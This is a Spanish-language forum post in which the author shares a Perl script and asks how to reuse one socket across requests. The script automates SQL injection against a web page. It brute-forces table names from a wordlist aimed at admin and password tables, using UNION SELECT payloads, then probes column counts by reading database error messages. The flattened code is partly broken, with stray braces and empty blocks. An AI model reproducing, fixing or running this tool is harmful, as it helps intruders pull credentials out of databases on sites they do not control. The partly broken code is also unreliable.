Este es mi script. Si se fijan en cada inyeccion creo un nuevo socket llamando a la funcion socket,y le paso como parametro el GET de la pagina q deseo obtener (que vendria hacer la inyeccion q mando por URL)
Creo q esto esta mal.. alguien me podria ayudar..
Como seria crear una sola vez el Socket y luego usar Los GET que quisiera
Código
#!/usr/bin/perl use IO::Socket; @nombretabla=('admin','tblUsers','usuarios','tblAdmin','user','users','username','usernames','usuario', 'name','names','nombre','nombres','member','members','admin_table', 'miembro','miembros','membername','admins','administrator','accesos', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contraseña','auth','key','senha', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO'); $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 'http(80)', } if (!@ARGV[1]) { } $host =@ARGV[0]; $path=@ARGV[1]; $iny="-1+UNION+SELECT+0+FROM+"; #print "antes de la funcion valor $iny\n"; foreach $tabla(@nombretabla) { #empuezo a guardar linea por linea el source en $response $socket=&socket($iny); while (<$socket>) {$response .= "$_ "} if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/) { $tabla_aux=$tabla; } #print $response; $response="";#limpio la variable }#cierrre foreach $inyc=""; #buscamos numeros de columnas $col.=<STDIN>; $columna=1; while ($columna <= $col) { $union.=','.$columna; $iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux; $socket=&socket($iny); while (<$socket>) { $response .= "$_ "} #print $response; if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/) { } else { $columna++; $columna = $col;#fuerzo la salida del while. } $response="";#limpio la variable $columna++; }